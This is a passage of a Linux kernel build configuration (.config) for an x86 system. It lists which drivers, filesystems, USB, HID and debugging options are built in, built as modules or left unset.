CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set CONFIG_SERIAL_8250_PNP=y CONFIG_SERIAL_8250_CONSOLE=y CONFIG_FIX_EARLYCON_MEM=y CONFIG_SERIAL_8250_PCI=y CONFIG_SERIAL_8250_NR_UARTS=4 CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_EXTENDED is not set # CONFIG_SERIAL_8250_DW is not set # # Non-8250 serial port support # # CONFIG_SERIAL_MFD_HSU is not set CONFIG_SERIAL_CORE=y CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_SCCNXP is not set # CONFIG_SERIAL_TIMBERDALE is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_PCH_UART is not set # CONFIG_SERIAL_ARC is not set # CONFIG_SERIAL_RP2 is not set # CONFIG_IPMI_HANDLER is not set # CONFIG_HW_RANDOM is not set # CONFIG_NVRAM is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set # CONFIG_RAW_DRIVER is not set CONFIG_HPET=y # CONFIG_HPET_MMAP is not set # CONFIG_HANGCHECK_TIMER is not set # CONFIG_TCG_TPM is not set # CONFIG_TELCLOCK is not set CONFIG_DEVPORT=y CONFIG_I2C=m CONFIG_I2C_BOARDINFO=y # CONFIG_I2C_COMPAT is not set CONFIG_I2C_CHARDEV=m # CONFIG_I2C_MUX is not set CONFIG_I2C_HELPER_AUTO=y # # I2C Hardware Bus support # # # PC SMBus host controller drivers # # CONFIG_I2C_ALI1535 is not set # CONFIG_I2C_ALI1563 is not set # CONFIG_I2C_ALI15X3 is not set # CONFIG_I2C_AMD756 is not set # CONFIG_I2C_AMD8111 is not set CONFIG_I2C_I801=m CONFIG_I2C_ISCH=m # CONFIG_I2C_ISMT is not set CONFIG_I2C_PIIX4=m # CONFIG_I2C_NFORCE2 is not set # CONFIG_I2C_SIS5595 is not set # CONFIG_I2C_SIS630 is not set # CONFIG_I2C_SIS96X is not set # CONFIG_I2C_VIA is not set # CONFIG_I2C_VIAPRO is not set # # ACPI drivers # # CONFIG_I2C_SCMI is not set # # I2C system bus drivers (mostly embedded / system-on-chip) # # CONFIG_I2C_DESIGNWARE_PCI is not set # CONFIG_I2C_EG20T is not set # CONFIG_I2C_INTEL_MID is not set # CONFIG_I2C_OCORES is not set # CONFIG_I2C_PCA_PLATFORM is not set # CONFIG_I2C_PXA_PCI is not set # CONFIG_I2C_SIMTEC is not set # CONFIG_I2C_XILINX is not set # # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set # CONFIG_I2C_PARPORT_LIGHT is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set # # Other I2C/SMBus bus drivers # # CONFIG_I2C_STUB is not set # CONFIG_I2C_DEBUG_CORE is not set # CONFIG_I2C_DEBUG_ALGO is not set # CONFIG_I2C_DEBUG_BUS is not set # CONFIG_SPI is not set # # Qualcomm MSM SSBI bus support # # CONFIG_SSBI is not set # CONFIG_HSI is not set # # PPS support # CONFIG_PPS=m # CONFIG_PPS_DEBUG is not set # # PPS clients support # # CONFIG_PPS_CLIENT_KTIMER is not set # CONFIG_PPS_CLIENT_LDISC is not set # CONFIG_PPS_CLIENT_GPIO is not set # # PPS generators support # # # PTP clock support # CONFIG_PTP_1588_CLOCK=m # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. # # CONFIG_PTP_1588_CLOCK_PCH is not set CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y CONFIG_GPIO_DEVRES=y # CONFIG_GPIOLIB is not set # CONFIG_W1 is not set # CONFIG_POWER_SUPPLY is not set # CONFIG_POWER_AVS is not set CONFIG_HWMON=m CONFIG_HWMON_VID=m # CONFIG_HWMON_DEBUG_CHIP is not set # # Native drivers # # CONFIG_SENSORS_ABITUGURU is not set # CONFIG_SENSORS_ABITUGURU3 is not set # CONFIG_SENSORS_AD7414 is not set # CONFIG_SENSORS_AD7418 is not set # CONFIG_SENSORS_ADM1021 is not set # CONFIG_SENSORS_ADM1025 is not set # CONFIG_SENSORS_ADM1026 is not set # CONFIG_SENSORS_ADM1029 is not set # CONFIG_SENSORS_ADM1031 is not set # CONFIG_SENSORS_ADM9240 is not set # CONFIG_SENSORS_ADT7410 is not set # CONFIG_SENSORS_ADT7411 is not set # CONFIG_SENSORS_ADT7462 is not set # CONFIG_SENSORS_ADT7470 is not set # CONFIG_SENSORS_ADT7475 is not set # CONFIG_SENSORS_ASC7621 is not set # CONFIG_SENSORS_K8TEMP is not set # CONFIG_SENSORS_K10TEMP is not set # CONFIG_SENSORS_FAM15H_POWER is not set # CONFIG_SENSORS_ASB100 is not set # CONFIG_SENSORS_ATXP1 is not set # CONFIG_SENSORS_DS620 is not set # CONFIG_SENSORS_DS1621 is not set # CONFIG_SENSORS_I5K_AMB is not set # CONFIG_SENSORS_F71805F is not set # CONFIG_SENSORS_F71882FG is not set # CONFIG_SENSORS_F75375S is not set # CONFIG_SENSORS_FSCHMD is not set # CONFIG_SENSORS_G760A is not set # CONFIG_SENSORS_GL518SM is not set # CONFIG_SENSORS_GL520SM is not set # CONFIG_SENSORS_HIH6130 is not set CONFIG_SENSORS_CORETEMP=m CONFIG_SENSORS_IT87=m # CONFIG_SENSORS_JC42 is not set # CONFIG_SENSORS_LINEAGE is not set # CONFIG_SENSORS_LM63 is not set # CONFIG_SENSORS_LM73 is not set # CONFIG_SENSORS_LM75 is not set # CONFIG_SENSORS_LM77 is not set # CONFIG_SENSORS_LM78 is not set # CONFIG_SENSORS_LM80 is not set # CONFIG_SENSORS_LM83 is not set # CONFIG_SENSORS_LM85 is not set # CONFIG_SENSORS_LM87 is not set # CONFIG_SENSORS_LM90 is not set # CONFIG_SENSORS_LM92 is not set # CONFIG_SENSORS_LM93 is not set # CONFIG_SENSORS_LTC4151 is not set # CONFIG_SENSORS_LTC4215 is not set # CONFIG_SENSORS_LTC4245 is not set # CONFIG_SENSORS_LTC4261 is not set # CONFIG_SENSORS_LM95234 is not set # CONFIG_SENSORS_LM95241 is not set # CONFIG_SENSORS_LM95245 is not set # CONFIG_SENSORS_MAX16065 is not set # CONFIG_SENSORS_MAX1619 is not set # CONFIG_SENSORS_MAX1668 is not set # CONFIG_SENSORS_MAX197 is not set # CONFIG_SENSORS_MAX6639 is not set # CONFIG_SENSORS_MAX6642 is not set # CONFIG_SENSORS_MAX6650 is not set # CONFIG_SENSORS_MAX6697 is not set # CONFIG_SENSORS_MCP3021 is not set # CONFIG_SENSORS_NCT6775 is not set # CONFIG_SENSORS_NTC_THERMISTOR is not set # CONFIG_SENSORS_PC87360 is not set # CONFIG_SENSORS_PC87427 is not set # CONFIG_SENSORS_PCF8591 is not set # CONFIG_PMBUS is not set # CONFIG_SENSORS_SHT21 is not set # CONFIG_SENSORS_SIS5595 is not set # CONFIG_SENSORS_SMM665 is not set # CONFIG_SENSORS_DME1737 is not set # CONFIG_SENSORS_EMC1403 is not set # CONFIG_SENSORS_EMC2103 is not set # CONFIG_SENSORS_EMC6W201 is not set # CONFIG_SENSORS_SMSC47M1 is not set # CONFIG_SENSORS_SMSC47M192 is not set # CONFIG_SENSORS_SMSC47B397 is not set # CONFIG_SENSORS_SCH56XX_COMMON is not set # CONFIG_SENSORS_ADS1015 is not set # CONFIG_SENSORS_ADS7828 is not set # CONFIG_SENSORS_AMC6821 is not set # CONFIG_SENSORS_INA209 is not set # CONFIG_SENSORS_INA2XX is not set # CONFIG_SENSORS_THMC50 is not set # CONFIG_SENSORS_TMP102 is not set # CONFIG_SENSORS_TMP401 is not set # CONFIG_SENSORS_TMP421 is not set # CONFIG_SENSORS_VIA_CPUTEMP is not set # CONFIG_SENSORS_VIA686A is not set # CONFIG_SENSORS_VT1211 is not set # CONFIG_SENSORS_VT8231 is not set # CONFIG_SENSORS_W83781D is not set # CONFIG_SENSORS_W83791D is not set # CONFIG_SENSORS_W83792D is not set # CONFIG_SENSORS_W83793 is not set # CONFIG_SENSORS_W83795 is not set # CONFIG_SENSORS_W83L785TS is not set # CONFIG_SENSORS_W83L786NG is not set # CONFIG_SENSORS_W83627HF is not set # CONFIG_SENSORS_W83627EHF is not set # CONFIG_SENSORS_APPLESMC is not set # # ACPI drivers # # CONFIG_SENSORS_ACPI_POWER is not set CONFIG_SENSORS_ATK0110=m CONFIG_THERMAL=m CONFIG_THERMAL_HWMON=y CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set # CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set CONFIG_THERMAL_GOV_FAIR_SHARE=y CONFIG_THERMAL_GOV_STEP_WISE=y # CONFIG_THERMAL_GOV_USER_SPACE is not set # CONFIG_CPU_THERMAL is not set # CONFIG_THERMAL_EMULATION is not set CONFIG_INTEL_POWERCLAMP=m # CONFIG_WATCHDOG is not set CONFIG_SSB_POSSIBLE=y # # Sonics Silicon Backplane # # CONFIG_SSB is not set CONFIG_BCMA_POSSIBLE=y # # Broadcom specific AMBA # # CONFIG_BCMA is not set # # Multifunction device drivers # CONFIG_MFD_CORE=m # CONFIG_MFD_CS5535 is not set # CONFIG_MFD_CROS_EC is not set # CONFIG_MFD_MC13XXX_I2C is not set # CONFIG_HTC_PASIC3 is not set CONFIG_LPC_ICH=m CONFIG_LPC_SCH=m # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set # CONFIG_MFD_RDC321X is not set # CONFIG_MFD_RTSX_PCI is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_ABX500_CORE is not set # CONFIG_MFD_SYSCON is not set # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_TPS6105X is not set # CONFIG_TPS6507X is not set # CONFIG_MFD_TPS65217 is not set # CONFIG_MFD_WL1273_CORE is not set # CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TMIO is not set # CONFIG_MFD_VX855 is not set # CONFIG_MFD_ARIZONA_I2C is not set # CONFIG_REGULATOR is not set # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # # CONFIG_AGP is not set CONFIG_VGA_ARB=y CONFIG_VGA_ARB_MAX_GPUS=1 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set # CONFIG_VGASTATE is not set # CONFIG_VIDEO_OUTPUT_CONTROL is not set # CONFIG_FB is not set # CONFIG_EXYNOS_VIDEO is not set # CONFIG_BACKLIGHT_LCD_SUPPORT is not set # # Console display driver support # CONFIG_VGA_CONSOLE=y CONFIG_VGACON_SOFT_SCROLLBACK=y CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=256 CONFIG_DUMMY_CONSOLE=y # CONFIG_SOUND is not set # # HID support # CONFIG_HID=m # CONFIG_HIDRAW is not set # CONFIG_UHID is not set CONFIG_HID_GENERIC=m # # Special HID drivers # CONFIG_HID_A4TECH=m # CONFIG_HID_ACRUX is not set CONFIG_HID_APPLE=m # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set CONFIG_HID_BELKIN=m CONFIG_HID_CHERRY=m CONFIG_HID_CHICONY=m CONFIG_HID_CYPRESS=m # CONFIG_HID_DRAGONRISE is not set # CONFIG_HID_EMS_FF is not set # CONFIG_HID_ELECOM is not set CONFIG_HID_EZKEY=m # CONFIG_HID_HOLTEK is not set # CONFIG_HID_KEYTOUCH is not set # CONFIG_HID_KYE is not set # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_TWINHAN is not set CONFIG_HID_KENSINGTON=m # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO_TPKBD is not set CONFIG_HID_LOGITECH=m # CONFIG_HID_LOGITECH_DJ is not set # CONFIG_LOGITECH_FF is not set # CONFIG_LOGIRUMBLEPAD2_FF is not set # CONFIG_LOGIG940_FF is not set # CONFIG_LOGIWHEELS_FF is not set # CONFIG_HID_MAGICMOUSE is not set CONFIG_HID_MICROSOFT=m CONFIG_HID_MONTEREY=m # CONFIG_HID_MULTITOUCH is not set # CONFIG_HID_NTRIG is not set # CONFIG_HID_ORTEK is not set # CONFIG_HID_PANTHERLORD is not set # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_PS3REMOTE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set # CONFIG_HID_SONY is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEELSERIES is not set # CONFIG_HID_SUNPLUS is not set # CONFIG_HID_GREENASIA is not set # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_ZEROPLUS is not set # CONFIG_HID_ZYDACRON is not set # CONFIG_HID_SENSOR_HUB is not set # # USB HID support # CONFIG_USB_HID=m # CONFIG_HID_PID is not set # CONFIG_USB_HIDDEV is not set # # I2C HID support # # CONFIG_I2C_HID is not set CONFIG_USB_ARCH_HAS_OHCI=y CONFIG_USB_ARCH_HAS_EHCI=y CONFIG_USB_ARCH_HAS_XHCI=y CONFIG_USB_SUPPORT=y CONFIG_USB_COMMON=m CONFIG_USB_ARCH_HAS_HCD=y CONFIG_USB=m # CONFIG_USB_DEBUG is not set # CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set # # Miscellaneous USB options # CONFIG_USB_DEFAULT_PERSIST=y # CONFIG_USB_DYNAMIC_MINORS is not set # CONFIG_USB_MON is not set # CONFIG_USB_WUSB_CBAF is not set # # USB Host Controller Drivers # # CONFIG_USB_C67X00_HCD is not set CONFIG_USB_XHCI_HCD=m # CONFIG_USB_XHCI_HCD_DEBUGGING is not set CONFIG_USB_EHCI_HCD=m # CONFIG_USB_EHCI_ROOT_HUB_TT is not set # CONFIG_USB_EHCI_TT_NEWSCHED is not set CONFIG_USB_EHCI_PCI=m # CONFIG_USB_EHCI_HCD_PLATFORM is not set # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set # CONFIG_USB_ISP1760_HCD is not set # CONFIG_USB_ISP1362_HCD is not set CONFIG_USB_OHCI_HCD=m # CONFIG_USB_OHCI_HCD_PLATFORM is not set # CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set # CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set CONFIG_USB_OHCI_LITTLE_ENDIAN=y CONFIG_USB_UHCI_HCD=m # CONFIG_USB_SL811_HCD is not set # CONFIG_USB_R8A66597_HCD is not set # # USB Device Class drivers # # CONFIG_USB_ACM is not set # CONFIG_USB_PRINTER is not set # CONFIG_USB_WDM is not set # CONFIG_USB_TMC is not set # # NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may # # # also be needed; see USB_STORAGE Help for more info # CONFIG_USB_STORAGE=m # CONFIG_USB_STORAGE_DEBUG is not set # CONFIG_USB_STORAGE_REALTEK is not set # CONFIG_USB_STORAGE_DATAFAB is not set # CONFIG_USB_STORAGE_FREECOM is not set # CONFIG_USB_STORAGE_ISD200 is not set # CONFIG_USB_STORAGE_USBAT is not set # CONFIG_USB_STORAGE_SDDR09 is not set # CONFIG_USB_STORAGE_SDDR55 is not set # CONFIG_USB_STORAGE_JUMPSHOT is not set # CONFIG_USB_STORAGE_ALAUDA is not set # CONFIG_USB_STORAGE_ONETOUCH is not set # CONFIG_USB_STORAGE_KARMA is not set # CONFIG_USB_STORAGE_CYPRESS_ATACB is not set # CONFIG_USB_STORAGE_ENE_UB6250 is not set # # USB Imaging devices # # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_CHIPIDEA is not set # # USB port drivers # # CONFIG_USB_SERIAL is not set # # USB Miscellaneous drivers # # CONFIG_USB_EMI62 is not set # CONFIG_USB_EMI26 is not set # CONFIG_USB_ADUTUX is not set # CONFIG_USB_SEVSEG is not set # CONFIG_USB_RIO500 is not set # CONFIG_USB_LEGOTOWER is not set # CONFIG_USB_LCD is not set # CONFIG_USB_LED is not set # CONFIG_USB_CYPRESS_CY7C63 is not set # CONFIG_USB_CYTHERM is not set # CONFIG_USB_IDMOUSE is not set # CONFIG_USB_FTDI_ELAN is not set # CONFIG_USB_APPLEDISPLAY is not set # CONFIG_USB_SISUSBVGA is not set # CONFIG_USB_LD is not set # CONFIG_USB_TRANCEVIBRATOR is not set # CONFIG_USB_IOWARRIOR is not set # CONFIG_USB_TEST is not set # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set # CONFIG_USB_HSIC_USB3503 is not set # CONFIG_USB_PHY is not set # CONFIG_USB_GADGET is not set # CONFIG_UWB is not set # CONFIG_MMC is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set # CONFIG_INFINIBAND is not set # CONFIG_EDAC is not set CONFIG_RTC_LIB=y # CONFIG_RTC_CLASS is not set # CONFIG_DMADEVICES is not set # CONFIG_AUXDISPLAY is not set # CONFIG_UIO is not set # CONFIG_VIRT_DRIVERS is not set # # Virtio drivers # # CONFIG_VIRTIO_PCI is not set # CONFIG_VIRTIO_MMIO is not set # # Microsoft Hyper-V guest support # # CONFIG_STAGING is not set # CONFIG_X86_PLATFORM_DEVICES is not set # # Hardware Spinlock drivers # CONFIG_CLKEVT_I8253=y CONFIG_I8253_LOCK=y CONFIG_CLKBLD_I8253=y # CONFIG_MAILBOX is not set # CONFIG_IOMMU_SUPPORT is not set # # Remoteproc drivers # # CONFIG_STE_MODEM_RPROC is not set # # Rpmsg drivers # # CONFIG_PM_DEVFREQ is not set # CONFIG_EXTCON is not set # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set # CONFIG_VME_BUS is not set # CONFIG_PWM is not set # CONFIG_IPACK_BUS is not set # CONFIG_RESET_CONTROLLER is not set # # Firmware Drivers # # CONFIG_EDD is not set CONFIG_FIRMWARE_MEMMAP=y # CONFIG_DELL_RBU is not set # CONFIG_DCDBAS is not set CONFIG_DMIID=y # CONFIG_DMI_SYSFS is not set # CONFIG_ISCSI_IBFT_FIND is not set # CONFIG_GOOGLE_FIRMWARE is not set # # File systems # CONFIG_DCACHE_WORD_ACCESS=y CONFIG_EXT2_FS=m CONFIG_EXT2_FS_XATTR=y CONFIG_EXT2_FS_POSIX_ACL=y CONFIG_EXT2_FS_SECURITY=y # CONFIG_EXT2_FS_XIP is not set CONFIG_EXT3_FS=m # CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set CONFIG_EXT3_FS_XATTR=y CONFIG_EXT3_FS_POSIX_ACL=y CONFIG_EXT3_FS_SECURITY=y CONFIG_EXT4_FS=m CONFIG_EXT4_FS_POSIX_ACL=y CONFIG_EXT4_FS_SECURITY=y # CONFIG_EXT4_DEBUG is not set CONFIG_JBD=m CONFIG_JBD2=m CONFIG_FS_MBCACHE=m # CONFIG_REISERFS_FS is not set # CONFIG_JFS_FS is not set CONFIG_XFS_FS=m CONFIG_XFS_QUOTA=y CONFIG_XFS_POSIX_ACL=y # CONFIG_XFS_RT is not set CONFIG_XFS_WARN=y # CONFIG_XFS_DEBUG is not set # CONFIG_GFS2_FS is not set # CONFIG_OCFS2_FS is not set CONFIG_BTRFS_FS=m CONFIG_BTRFS_FS_POSIX_ACL=y # CONFIG_BTRFS_FS_CHECK_INTEGRITY is not set # CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set # CONFIG_BTRFS_DEBUG is not set # CONFIG_NILFS2_FS is not set CONFIG_FS_POSIX_ACL=y CONFIG_EXPORTFS=y CONFIG_FILE_LOCKING=y CONFIG_FSNOTIFY=y CONFIG_DNOTIFY=y CONFIG_INOTIFY_USER=y # CONFIG_FANOTIFY is not set CONFIG_QUOTA=y # CONFIG_QUOTA_NETLINK_INTERFACE is not set # CONFIG_PRINT_QUOTA_WARNING is not set # CONFIG_QUOTA_DEBUG is not set # CONFIG_QFMT_V1 is not set # CONFIG_QFMT_V2 is not set CONFIG_QUOTACTL=y CONFIG_QUOTACTL_COMPAT=y # CONFIG_AUTOFS4_FS is not set CONFIG_FUSE_FS=m CONFIG_CUSE=m CONFIG_GENERIC_ACL=y # # Caches # # CONFIG_FSCACHE is not set # # CD-ROM/DVD Filesystems # CONFIG_ISO9660_FS=m CONFIG_JOLIET=y # CONFIG_ZISOFS is not set # CONFIG_UDF_FS is not set # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_VFAT_FS=m CONFIG_FAT_DEFAULT_CODEPAGE=437 CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" # CONFIG_NTFS_FS is not set # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y CONFIG_PROC_SYSCTL=y CONFIG_PROC_PAGE_MONITOR=y CONFIG_SYSFS=y CONFIG_TMPFS=y CONFIG_TMPFS_POSIX_ACL=y CONFIG_TMPFS_XATTR=y # CONFIG_HUGETLBFS is not set # CONFIG_HUGETLB_PAGE is not set CONFIG_CONFIGFS_FS=m CONFIG_MISC_FILESYSTEMS=y # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set # CONFIG_ECRYPT_FS is not set # CONFIG_HFS_FS is not set # CONFIG_HFSPLUS_FS is not set # CONFIG_BEFS_FS is not set # CONFIG_BFS_FS is not set # CONFIG_EFS_FS is not set # CONFIG_LOGFS is not set # CONFIG_CRAMFS is not set CONFIG_SQUASHFS=m CONFIG_SQUASHFS_XATTR=y CONFIG_SQUASHFS_ZLIB=y CONFIG_SQUASHFS_LZO=y CONFIG_SQUASHFS_XZ=y # CONFIG_SQUASHFS_4K_DEVBLK_SIZE is not set # CONFIG_SQUASHFS_EMBEDDED is not set CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3 # CONFIG_VXFS_FS is not set # CONFIG_MINIX_FS is not set # CONFIG_OMFS_FS is not set # CONFIG_HPFS_FS is not set # CONFIG_QNX4FS_FS is not set # CONFIG_QNX6FS_FS is not set # CONFIG_ROMFS_FS is not set # CONFIG_PSTORE is not set # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set # CONFIG_F2FS_FS is not set CONFIG_NETWORK_FILESYSTEMS=y CONFIG_NFS_FS=m # CONFIG_NFS_V2 is not set CONFIG_NFS_V3=m CONFIG_NFS_V3_ACL=y CONFIG_NFS_V4=m # CONFIG_NFS_SWAP is not set CONFIG_NFS_V4_1=y CONFIG_PNFS_FILE_LAYOUT=m CONFIG_PNFS_BLOCK=m CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org" # CONFIG_NFS_USE_LEGACY_DNS is not set CONFIG_NFS_USE_KERNEL_DNS=y CONFIG_NFSD=m CONFIG_NFSD_V2_ACL=y CONFIG_NFSD_V3=y CONFIG_NFSD_V3_ACL=y CONFIG_NFSD_V4=y CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_NFS_ACL_SUPPORT=m CONFIG_NFS_COMMON=y CONFIG_SUNRPC=m CONFIG_SUNRPC_GSS=m CONFIG_SUNRPC_BACKCHANNEL=y CONFIG_RPCSEC_GSS_KRB5=m # CONFIG_SUNRPC_DEBUG is not set # CONFIG_CEPH_FS is not set # CONFIG_CIFS is not set # CONFIG_NCP_FS is not set # CONFIG_CODA_FS is not set # CONFIG_AFS_FS is not set CONFIG_NLS=y CONFIG_NLS_DEFAULT="utf-8" CONFIG_NLS_CODEPAGE_437=m # CONFIG_NLS_CODEPAGE_737 is not set # CONFIG_NLS_CODEPAGE_775 is not set # CONFIG_NLS_CODEPAGE_850 is not set # CONFIG_NLS_CODEPAGE_852 is not set # CONFIG_NLS_CODEPAGE_855 is not set # CONFIG_NLS_CODEPAGE_857 is not set # CONFIG_NLS_CODEPAGE_860 is not set # CONFIG_NLS_CODEPAGE_861 is not set # CONFIG_NLS_CODEPAGE_862 is not set # CONFIG_NLS_CODEPAGE_863 is not set # CONFIG_NLS_CODEPAGE_864 is not set # CONFIG_NLS_CODEPAGE_865 is not set # CONFIG_NLS_CODEPAGE_866 is not set # CONFIG_NLS_CODEPAGE_869 is not set # CONFIG_NLS_CODEPAGE_936 is not set # CONFIG_NLS_CODEPAGE_950 is not set # CONFIG_NLS_CODEPAGE_932 is not set # CONFIG_NLS_CODEPAGE_949 is not set # CONFIG_NLS_CODEPAGE_874 is not set # CONFIG_NLS_ISO8859_8 is not set # CONFIG_NLS_CODEPAGE_1250 is not set # CONFIG_NLS_CODEPAGE_1251 is not set CONFIG_NLS_ASCII=m CONFIG_NLS_ISO8859_1=m # CONFIG_NLS_ISO8859_2 is not set # CONFIG_NLS_ISO8859_3 is not set # CONFIG_NLS_ISO8859_4 is not set # CONFIG_NLS_ISO8859_5 is not set # CONFIG_NLS_ISO8859_6 is not set # CONFIG_NLS_ISO8859_7 is not set # CONFIG_NLS_ISO8859_9 is not set # CONFIG_NLS_ISO8859_13 is not set # CONFIG_NLS_ISO8859_14 is not set CONFIG_NLS_ISO8859_15=m # CONFIG_NLS_KOI8_R is not set # CONFIG_NLS_KOI8_U is not set # CONFIG_NLS_MAC_ROMAN is not set # CONFIG_NLS_MAC_CELTIC is not set # CONFIG_NLS_MAC_CENTEURO is not set # CONFIG_NLS_MAC_CROATIAN is not set # CONFIG_NLS_MAC_CYRILLIC is not set # CONFIG_NLS_MAC_GAELIC is not set # CONFIG_NLS_MAC_GREEK is not set # CONFIG_NLS_MAC_ICELAND is not set # CONFIG_NLS_MAC_INUIT is not set # CONFIG_NLS_MAC_ROMANIAN is not set # CONFIG_NLS_MAC_TURKISH is not set CONFIG_NLS_UTF8=m # CONFIG_DLM is not set # # Kernel hacking # CONFIG_TRACE_IRQFLAGS_SUPPORT=y CONFIG_PRINTK_TIME=y CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 # CONFIG_ENABLE_WARN_DEPRECATED is not set # CONFIG_ENABLE_MUST_CHECK is not set CONFIG_FRAME_WARN=2048 CONFIG_MAGIC_SYSRQ=y # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_UNUSED_SYMBOLS is not set # CONFIG_DEBUG_FS is not set # CONFIG_HEADERS_CHECK is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set # CONFIG_DEBUG_KERNEL is not set # CONFIG_PANIC_ON_OOPS is not set CONFIG_PANIC_ON_OOPS_VALUE=0 # CONFIG_SLUB_DEBUG_ON is not set # CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y CONFIG_DEBUG_BUGVERBOSE=y CONFIG_DEBUG_MEMORY_INIT=y CONFIG_ARCH_WANT_FRAME_POINTERS=y CONFIG_FRAME_POINTER=y # # RCU Debugging # # CONFIG_SPARSE_RCU_POINTER is not set CONFIG_RCU_CPU_STALL_TIMEOUT=60 CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y CONFIG_USER_STACKTRACE_SUPPORT=y CONFIG_HAVE_FUNCTION_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y CONFIG_HAVE_C_RECORDMCOUNT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_DMA_API_DEBUG is not set # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_ASYNC_RAID6_TEST is not set # CONFIG_SAMPLES is not set CONFIG_HAVE_ARCH_KGDB=y CONFIG_HAVE_ARCH_KMEMCHECK=y # CONFIG_TEST_STRING_HELPERS is not set # CONFIG_TEST_KSTRTOX is not set CONFIG_STRICT_DEVMEM=y CONFIG_X86_VERBOSE_BOOTUP=y CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set # CONFIG_DEBUG_SET_MODULE_RONX is not set # CONFIG_IOMMU_STRESS is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y CONFIG_IO_DELAY_TYPE_0X80=0 CONFIG_IO_DELAY_TYPE_0XED=1 CONFIG_IO_DELAY_TYPE_UDELAY=2 CONFIG_IO_DELAY_TYPE_NONE=3 CONFIG_IO_DELAY_0X80=y # CONFIG_IO_DELAY_0XED is not set # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set CONFIG_DEFAULT_IO_DELAY_TYPE=0 CONFIG_OPTIMIZE_INLINING=y # # Security options # CONFIG_KEYS=y # CONFIG_ENCRYPTED_KEYS is not set CONFIG_KEYS_DEBUG_PROC_KEYS=y # CONFIG_SECURITY_DMESG_RESTRICT is not set # CONFIG_SECURITY is not set # CONFIG_SECURITYFS is not set CONFIG_DEFAULT_SECURITY_DAC=y CONFIG_DEFAULT_SECURITY="" CONFIG_XOR_BLOCKS=m CONFIG_ASYNC_CORE=m CONFIG_ASYNC_MEMCPY=m 